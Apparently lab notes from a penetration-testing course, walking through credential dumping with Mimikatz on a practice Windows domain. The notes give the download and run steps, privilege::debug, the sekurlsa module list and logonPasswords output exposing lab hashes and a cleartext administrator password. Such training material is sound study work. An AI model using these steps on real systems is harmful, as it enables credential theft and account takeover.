

14 - Credential Dumping with Mimikatz

To install, we google it. We are looking for "gentilkiwi/mimikatz" in GitHub.

Now, we can try to copy (Ctrl + c), and attempt to past it in the downloads folder of the target machine, or we can spin up a server with python3 in our attacker machine and download the files with wget from the target machine.

We do not have wget. Lets do like Heath. Open up edge. Click each one of them, and then on the download folder in edge, right click one of the downloads > keep > Open more options > Keep anyway.

We do that for all 4 of them.

Open admin cmd > go to the download folder (where the files should be). For me C:\users\nami\downloads, and run mimikatz.exe.

We want to set privilege mode to "debug".

To list privilege modules:

"#privilege::"

```

y using for /
mimikatz 2.2.0 x64 (oe.eo)
11/09/2024 05:54 PM 10,752 mimispool.dll
4 File(s) 1,440,600 bytes
2 Dir(s) 33,724,637,184 bytes free
C:\Users\nami\Downloads>mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::
ERROR mimikatz_dolocal ; "(null)" command of "privilege" module not found !

Module : privilege
Full name : Privilege module

debug - Ask debug privilege
driver - Ask load driver privilege
security - Ask security privilege
tcb - Ask tcb privilege
backup - Ask backup privilege
restore - Ask restore privilege
sysenv - Ask system environment privilege
id - Ask a privilege by its id
name - Ask a privilege by its name

mimikatz #
```

This will give us permissions to run all attacks we want.

```

name - Ask a privilege by its name

mimikatz # privilege::debug
Privilege '20' OK

mimikatz #

```

So, after we have debug privileges, we can list some of the attacks we can use with this "sekurlsa" module(?).

To list the attacks we can use with this module:

"#sekurlsa::"

```

mimikatz 2.2.0 x64 (oe.eo)

mimikatz # sekurlsa::
ERROR mimikatz_doLocal ; "(null)" command of "sekurlsa" module not found !

Module :      sekurlsa
Full name :   SekurLSA module
Description : Some commands to enumerate credentials...

    msv - Lists LM & NTLM credentials
    wdigest - Lists WDigest credentials
    kerberos - Lists Kerberos credentials
    tspkg - Lists TsPkg credentials
    livessp - Lists LiveSSP credentials
    cloudap - Lists CloudAp credentials
    ssp - Lists SSP credentials
    logonPasswords - Lists all available providers credentials
    process - Switch (or reinit) to LSASS process context
    minidump - Switch (or reinit) to LSASS minidump context
    bootkey - Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials
    pth - Pass-the-hash
    krbtgt - krbtgt!
    dpapisystem - DPAPI_SYSTEM secret
    trust - Antisocial
    backupkeys - Preferred Backup Master keys
    tickets - List Kerberos tickets
    ekeys - List Kerberos Encryption Keys
    dpapi - List Cached MasterKeys
    credman - List Credentials Manager

mimikatz #

```

There are many "attacks" here that we already ran using secretsdump. But, the "LogonPasswords", or the "process" where we dump the LSASS modules, we can do using Mimikatz.

We are going to run:

"#sekurlsa::logonPasswords"

So, because we need the Domain Admin password to connect to the file share, we can retrieve that password using this Mimikatz Module. And, the password is in clear text heheh.

```
mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 2112204 (00000000:00203acc)
Session          : Interactive from 1
User Name        : nami
Domain           : THENAVIGATOR
Logon Server      : THENAVIGATOR
Logon Time        : 11/9/2024 5:37:52 PM
SID              : S-1-5-21-2288788101-912902681-1029707405-1001

msv :
[00000003] Primary
* Username : nami
* Domain   : THENAVIGATOR
* NTLM     : 64f12cddaa88057e06a81b54e73b949b
* SHA1     : cba4e545b7ec918129725154b29f055e4cd5aea8
* DPAPI    : cba4e545b7ec918129725154b29f055e
tspkg :
wdigest :
* Username : nami
* Domain   : THENAVIGATOR
* Password : (null)
kerberos :
* Username : nami
* Domain   : THENAVIGATOR
* Password : (null)
ssp :
[00000000]
* Username : administrator
* Domain   : ONEPIECE
* Password : P0$$w0rd!
credman :
cloudap :
```

There are a lot more information we can retrieve in here. The one documented is only the juiciest one. Mimikatz is a powerfull tool, if we are able to run it, it is definitely worth it.